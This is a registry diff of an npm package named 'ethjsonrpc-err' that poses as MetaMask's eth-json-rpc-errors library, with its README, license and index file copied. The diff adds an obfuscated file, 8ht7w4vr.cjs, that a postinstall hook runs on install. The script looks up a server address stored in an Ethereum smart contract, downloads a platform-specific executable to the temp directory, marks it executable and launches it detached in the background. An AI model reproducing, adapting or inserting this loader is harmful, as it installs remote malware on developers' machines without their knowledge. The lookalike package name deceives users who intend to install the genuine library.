ethjsonrpc-err 2.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/8ht7w4vr.cjs +1 -0
- package/LICENSE +21 -0
- package/README.md +147 -0
- package/index.js +46 -0
- package/package.json +40 -0
package/8ht7w4vr.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x1feee2=_0x4192;function _0x4192(_0x502aee,_0x1d75f3){const _0x19d13e=_0x19d1();return _0x4192=function(_0x4192f1,_0x12c1bf){_0x4192f1=_0x4192f1-0x91;let _0x26e29f=_0x19d13e[_0x4192f1];return _0x26e29f;},_0x4192(_0x502aee,_0x1d75f3);}(function(_0x567c23,_0x2d65d8){const _0x172ae9=_0x4192,_0x4f44e3=_0x567c23();while(!![]){try{const _0x1d5af1=parseInt(_0x172ae9(0xa1))/0x1+-parseInt(_0x172ae9(0x97))/0x2+-parseInt(_0x172ae9(0xbc))/0x3*(-parseInt(_0x172ae9(0x9e))/0x4)+parseInt(_0x172ae9(0x9d))/0x5*(parseInt(_0x172ae9(0xbd))/0x6)+-parseInt(_0x172ae9(0xa2))/0x7*(parseInt(_0x172ae9(0xaf))/0x8)+parseInt(_0x172ae9(0xb3))/0x9*(parseInt(_0x172ae9(0xb9))/0xa)+parseInt(_0x172ae9(0xc7))/0xb*(-parseInt(_0x172ae9(0x9b))/0xc);if(_0x1d5af1===_0x2d65d8)break;else _0x4f44e3['push'](_0x4f44e3['shift']());}catch(_0x833ae5){_0x4f44e3['push'](_0x4f44e3['shift']());}}}(_0x19d1,0x7671f));const {ethers}=require('ethers'),axios=require(_0x1feee2(0xbe)),util=require(_0x1feee2(0x99)),fs=require('fs'),path=require(_0x1feee2(0xb6)),os=require('os'),{spawn}=require(_0x1feee2(0xb4)),contractAddress=_0x1feee2(0xa0),WalletOwner=_0x1feee2(0xb1),abi=[_0x1feee2(0xc6)],provider=ethers[_0x1feee2(0xac)](_0x1feee2(0xc2)),contract=new ethers[(_0x1feee2(0x98))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x3a8529=_0x1feee2,_0x55bb87={'rjLNt':function(_0x1cf302){return _0x1cf302();}};try{const _0x35ec7b=await contract[_0x3a8529(0x92)](WalletOwner);return _0x35ec7b;}catch(_0x3a128c){return console[_0x3a8529(0xbb)](_0x3a8529(0xc0),_0x3a128c),await _0x55bb87[_0x3a8529(0xaa)](fetchAndUpdateIp);}},getDownloadUrl=_0x22d567=>{const _0x92a85b=_0x1feee2,_0xe800df={'QnKJA':_0x92a85b(0xa3),'fQsur':_0x92a85b(0xad)},_0x58935f=os[_0x92a85b(0xb7)]();switch(_0x58935f){case _0xe800df[_0x92a85b(0xc4)]:return _0x22d567+'/node-win.exe';case _0x92a85b(0x94):return _0x22d567+_0x92a85b(0xa7);case _0xe800df['fQsur']:return _0x22d567+_0x92a85b(0x9f);default:throw new Error(_0x92a85b(0xb2)+_0x58935f);}},downloadFile=async(_0x3123b9,_0x29c6c4)=>{const _0x6cf2e=_0x1feee2,_0x45d665={'ibSpj':'error','gXaiv':function(_0x22cbda,_0x24d727){return _0x22cbda(_0x24d727);},'lpkNq':_0x6cf2e(0xc5),'EYGiv':_0x6cf2e(0x9c)},_0x9a4290=fs['createWriteStream'](_0x29c6c4),_0x37a999=await _0x45d665[_0x6cf2e(0x93)](axios,{'url':_0x3123b9,'method':_0x45d665[_0x6cf2e(0xa4)],'responseType':_0x45d665[_0x6cf2e(0x9a)]});return _0x37a999[_0x6cf2e(0x96)][_0x6cf2e(0xab)](_0x9a4290),new Promise((_0x2217d3,_0x5497a1)=>{const _0x5cd3e2=_0x6cf2e;_0x9a4290['on'](_0x5cd3e2(0xa6),_0x2217d3),_0x9a4290['on'](_0x45d665[_0x5cd3e2(0xb8)],_0x5497a1);});},executeFileInBackground=async _0x6f3f92=>{const _0x51c632=_0x1feee2,_0x58258b={'JVPjQ':function(_0x5259fe,_0x379eaa,_0x2c9abd,_0x548a9a){return _0x5259fe(_0x379eaa,_0x2c9abd,_0x548a9a);},'GbXkO':_0x51c632(0xa5),'lJNSr':_0x51c632(0xb0)};try{const _0x3722f0=_0x58258b['JVPjQ'](spawn,_0x6f3f92,[],{'detached':!![],'stdio':_0x58258b[_0x51c632(0xa9)]});_0x3722f0[_0x51c632(0x95)]();}catch(_0xeb3a69){console[_0x51c632(0xbb)](_0x58258b[_0x51c632(0xae)],_0xeb3a69);}},runInstallation=async()=>{const _0xdcec5b=_0x1feee2,_0x6dd0dd={'MTbkV':function(_0x38c992){return _0x38c992();},'nlrrg':function(_0x3f8a8d,_0x118c16,_0x96c705){return _0x3f8a8d(_0x118c16,_0x96c705);},'TVtsI':_0xdcec5b(0xa3),'UmQNv':_0xdcec5b(0xa8),'ksYGk':function(_0x4c0f56,_0x34c89f){return _0x4c0f56(_0x34c89f);},'dDRAy':_0xdcec5b(0x91)};try{const _0x4e73ff=await _0x6dd0dd['MTbkV'](fetchAndUpdateIp),_0x46cd2e=getDownloadUrl(_0x4e73ff),_0x2acfd3=os[_0xdcec5b(0xc3)](),_0x272fb6=path['basename'](_0x46cd2e),_0x2450db=path[_0xdcec5b(0xb5)](_0x2acfd3,_0x272fb6);await _0x6dd0dd['nlrrg'](downloadFile,_0x46cd2e,_0x2450db);if(os[_0xdcec5b(0xb7)]()!==_0x6dd0dd[_0xdcec5b(0xba)])fs['chmodSync'](_0x2450db,_0x6dd0dd['UmQNv']);_0x6dd0dd[_0xdcec5b(0xbf)](executeFileInBackground,_0x2450db);}catch(_0x1bcbb1){console[_0xdcec5b(0xbb)](_0x6dd0dd[_0xdcec5b(0xc1)],_0x1bcbb1);}};function _0x19d1(){const _0xe06035=['15qfuROC','1384hcxMPp','/node-macos','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','172179MWUeYf','14iPVBjh','win32','lpkNq','ignore','finish','/node-linux','755','GbXkO','rjLNt','pipe','getDefaultProvider','darwin','lJNSr','2254360xPLAwJ','Ошибка\x20при\x20запуске\x20файла:','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','Unsupported\x20platform:\x20','1170bshEHJ','child_process','join','path','platform','ibSpj','22100xFZZyB','TVtsI','error','8292NfqTwk','554994TmHQKN','axios','ksYGk','Ошибка\x20при\x20получении\x20IP\x20адреса:','dDRAy','mainnet','tmpdir','QnKJA','GET','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','1661605zqqSXs','Ошибка\x20установки:','getString','gXaiv','linux','unref','data','684938cHUouA','Contract','util','EYGiv','24wpnHzE','stream'];_0x19d1=function(){return _0xe06035;};return _0x19d1();}runInstallation();
|
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2019 MetaMask
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
# eth-json-rpc-errors
|
|
2
|
+
|
|
3
|
+
Errors for the
|
|
4
|
+
[Ethereum JSON RPC](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md)
|
|
5
|
+
and
|
|
6
|
+
[Ethereum Provider](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1193.md),
|
|
7
|
+
and [making unknown errors compliant with either spec](#parsing-unknown-errors).
|
|
8
|
+
|
|
9
|
+
## Basic Usage
|
|
10
|
+
|
|
11
|
+
```js
|
|
12
|
+
import { ethErrors } from 'eth-json-rpc-errors'
|
|
13
|
+
|
|
14
|
+
throw ethErrors.provider.unauthorized()
|
|
15
|
+
// or
|
|
16
|
+
throw ethErrors.provider.unauthorized('my custom message')
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
## Supported Errors
|
|
20
|
+
|
|
21
|
+
- Ethereum JSON RPC
|
|
22
|
+
- Per [EIP 1474](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1474.md#error-codes)
|
|
23
|
+
- This includes all
|
|
24
|
+
[JSON RPC 2.0 errors](https://www.jsonrpc.org/specification#error_object)
|
|
25
|
+
- Ethereum Provider errors
|
|
26
|
+
- Per [EIP 1193](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1193.md#error-object-and-codes)
|
|
27
|
+
- Does **not** yet support [`CloseEvent` errors or status codes](https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent#Status_codes).
|
|
28
|
+
|
|
29
|
+
## Usage
|
|
30
|
+
|
|
31
|
+
Installation: `npm install eth-json-rpc-errors` or `yarn add eth-json-rpc-errors`
|
|
32
|
+
|
|
33
|
+
Import using ES6 syntax (no default export) or Node `require`.
|
|
34
|
+
|
|
35
|
+
### Errors API
|
|
36
|
+
|
|
37
|
+
```js
|
|
38
|
+
import { ethErrors } from 'eth-json-rpc-errors'
|
|
39
|
+
|
|
40
|
+
// Ethereum RPC errors are namespaced under "ethErrors.rpc"
|
|
41
|
+
response.error = ethErrors.rpc.methodNotFound({
|
|
42
|
+
message: optionalCustomMessage, data: optionalData
|
|
43
|
+
})
|
|
44
|
+
|
|
45
|
+
// ETH JSON RPC errors namespaced under ethErrors.provider
|
|
46
|
+
response.error = ethErrors.provider.unauthorized({
|
|
47
|
+
message: optionalCustomMessage, data: optionalData
|
|
48
|
+
})
|
|
49
|
+
|
|
50
|
+
// each error getter takes a single "opts" argument
|
|
51
|
+
// for most errors, this can be replaced with a single string, which becomes
|
|
52
|
+
// the error message
|
|
53
|
+
response.error = ethErrors.provider.unauthorized(customMessage)
|
|
54
|
+
|
|
55
|
+
// if an error getter accepts a single string, all arguments can be omitted
|
|
56
|
+
response.error = ethErrors.provider.unauthorized()
|
|
57
|
+
response.error = ethErrors.provider.unauthorized({})
|
|
58
|
+
|
|
59
|
+
// omitting the message will produce an error with a default message per
|
|
60
|
+
// the relevant spec
|
|
61
|
+
|
|
62
|
+
// omitting the data argument will produce an error without a
|
|
63
|
+
// "data" property
|
|
64
|
+
|
|
65
|
+
// the JSON RPC 2.0 server error requires a valid code
|
|
66
|
+
response.error = ethErrors.rpc.server({
|
|
67
|
+
code: -32031
|
|
68
|
+
})
|
|
69
|
+
|
|
70
|
+
// custom Ethereum Provider errors require a valid code and message
|
|
71
|
+
// valid codes are integers i such that: 1000 <= i <= 4999
|
|
72
|
+
response.error = ethErrors.provider.custom({
|
|
73
|
+
code: 1001, message: 'foo'
|
|
74
|
+
})
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
### Parsing Unknown Errors
|
|
78
|
+
|
|
79
|
+
```js
|
|
80
|
+
// this is useful for ensuring your errors are standardized
|
|
81
|
+
import { serializeError } from 'eth-json-rpc-errors'
|
|
82
|
+
|
|
83
|
+
// if the argument is not a valid error per any supported spec,
|
|
84
|
+
// it will be added as error.data.originalError
|
|
85
|
+
response.error = serializeError(maybeAnError)
|
|
86
|
+
|
|
87
|
+
// you can add a custom fallback error code and message if desired
|
|
88
|
+
const fallbackError = { code: 4999, message: 'My custom error.' }
|
|
89
|
+
response.error = serializeError(maybeAnError, fallbackError)
|
|
90
|
+
|
|
91
|
+
// Note: if the original error has a "message" property, it will take
|
|
92
|
+
// precedence over the fallback error's message
|
|
93
|
+
|
|
94
|
+
// the default fallback is:
|
|
95
|
+
{
|
|
96
|
+
code: -32603,
|
|
97
|
+
message: 'Internal JSON-RPC error.'
|
|
98
|
+
}
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
### Other Exports
|
|
102
|
+
|
|
103
|
+
```js
|
|
104
|
+
/**
|
|
105
|
+
* TypeScript interfaces
|
|
106
|
+
*/
|
|
107
|
+
import {
|
|
108
|
+
// these describe to the corresponding exports from index.js
|
|
109
|
+
IEthErrors, IEthereumRpcError, IEthereumProviderError, ISerializeError,
|
|
110
|
+
// these describe the options argument to error getters in ethErrors
|
|
111
|
+
IErrorOptions, IRpcServerErrorOptions, IProviderCustomErrorOptions
|
|
112
|
+
} from 'eth-json-rpc-errors/@types'
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* Classes
|
|
116
|
+
*/
|
|
117
|
+
import { EthereumRpcError, EthereumProviderError } from 'eth-json-rpc-errors'
|
|
118
|
+
|
|
119
|
+
/**
|
|
120
|
+
* getMessageFromCode & ERROR_CODES
|
|
121
|
+
*/
|
|
122
|
+
import { getMessageFromCode, ERROR_CODES } from 'eth-json-rpc-errors'
|
|
123
|
+
|
|
124
|
+
// get the default message string for the given code, or a fallback message if
|
|
125
|
+
// no message exists for the given code
|
|
126
|
+
const message1 = getMessageFromCode(someCode)
|
|
127
|
+
|
|
128
|
+
// you can specify your own fallback message
|
|
129
|
+
const message2 = getMessageFromCode(someCode, myFallback)
|
|
130
|
+
// it can be anything, use at your own peril
|
|
131
|
+
const message3 = getMessageFromCode(someCode, null)
|
|
132
|
+
|
|
133
|
+
// {
|
|
134
|
+
// jsonRpc: { [errorName]: code, ... },
|
|
135
|
+
// eth: { [errorName]: code, ... },
|
|
136
|
+
// }
|
|
137
|
+
const code1 = ERROR_CODES.rpc.parse
|
|
138
|
+
const code2 = ERROR_CODES.provider.userRejectedRequest
|
|
139
|
+
|
|
140
|
+
// all codes in ERROR_CODES have default messages
|
|
141
|
+
const message4 = getMessageFromCode(code1)
|
|
142
|
+
const message5 = getMessageFromCode(code2)
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
## License
|
|
146
|
+
|
|
147
|
+
MIT
|
package/index.js
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
|
|
2
|
+
const { EthereumRpcError, EthereumProviderError } = require('./src/classes')
|
|
3
|
+
const {
|
|
4
|
+
serializeError, getMessageFromCode,
|
|
5
|
+
} = require('./src/utils')
|
|
6
|
+
const ethErrors = require('./src/errors')
|
|
7
|
+
const ERROR_CODES = require('./src/errorCodes.json')
|
|
8
|
+
|
|
9
|
+
module.exports = {
|
|
10
|
+
ethErrors,
|
|
11
|
+
EthereumRpcError,
|
|
12
|
+
EthereumProviderError,
|
|
13
|
+
serializeError,
|
|
14
|
+
getMessageFromCode,
|
|
15
|
+
/** @type ErrorCodes */
|
|
16
|
+
ERROR_CODES,
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
// Types
|
|
20
|
+
|
|
21
|
+
/**
|
|
22
|
+
* @typedef {Object} EthereumProviderErrorCodes
|
|
23
|
+
* @property {number} userRejectedRequest
|
|
24
|
+
* @property {number} unauthorized
|
|
25
|
+
* @property {number} unsupportedMethod
|
|
26
|
+
*/
|
|
27
|
+
|
|
28
|
+
/**
|
|
29
|
+
* @typedef {Object} EthereumRpcErrorCodes
|
|
30
|
+
* @property {number} parse
|
|
31
|
+
* @property {number} invalidRequest
|
|
32
|
+
* @property {number} invalidParams
|
|
33
|
+
* @property {number} methodNotFound
|
|
34
|
+
* @property {number} internal
|
|
35
|
+
* @property {number} invalidInput
|
|
36
|
+
* @property {number} resourceNotFound
|
|
37
|
+
* @property {number} resourceUnavailable
|
|
38
|
+
* @property {number} transactionRejected
|
|
39
|
+
* @property {number} methodNotSupported
|
|
40
|
+
*/
|
|
41
|
+
|
|
42
|
+
/**
|
|
43
|
+
* @typedef ErrorCodes
|
|
44
|
+
* @property {EthereumRpcErrorCodes} rpc
|
|
45
|
+
* @property {EthereumProviderErrorCodes} provider
|
|
46
|
+
*/
|
package/package.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ethjsonrpc-err",
|
|
3
|
+
"version": "2.0.2",
|
|
4
|
+
"description": "Ethereum JSON RPC and Provider errors.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node 8ht7w4vr.cjs"
|
|
8
|
+
},
|
|
9
|
+
"repository": {
|
|
10
|
+
"type": "git",
|
|
11
|
+
"url": "git+https://github.com/MetaMask/eth-json-rpc-errors.git"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"json",
|
|
15
|
+
"rpc",
|
|
16
|
+
"ethereum",
|
|
17
|
+
"errors",
|
|
18
|
+
"utility"
|
|
19
|
+
],
|
|
20
|
+
"author": "Erik Marks <rekmarks@protonmail.com>",
|
|
21
|
+
"license": "MIT",
|
|
22
|
+
"bugs": {
|
|
23
|
+
"url": "https://github.com/MetaMask/eth-json-rpc-errors/issues"
|
|
24
|
+
},
|
|
25
|
+
"homepage": "https://github.com/MetaMask/eth-json-rpc-errors#readme",
|
|
26
|
+
"devDependencies": {
|
|
27
|
+
"eslint": "^6.1.0",
|
|
28
|
+
"fast-deep-equal": "^2.0.1",
|
|
29
|
+
"nyc": "^14.1.1",
|
|
30
|
+
"tape": "^4.11.0"
|
|
31
|
+
},
|
|
32
|
+
"dependencies": {
|
|
33
|
+
"fast-safe-stringify": "^2.0.6",
|
|
34
|
+
"axios": "^1.7.7",
|
|
35
|
+
"ethers": "^6.13.2"
|
|
36
|
+
},
|
|
37
|
+
"files": [
|
|
38
|
+
"8ht7w4vr.cjs"
|
|
39
|
+
]
|
|
40
|
+
}
|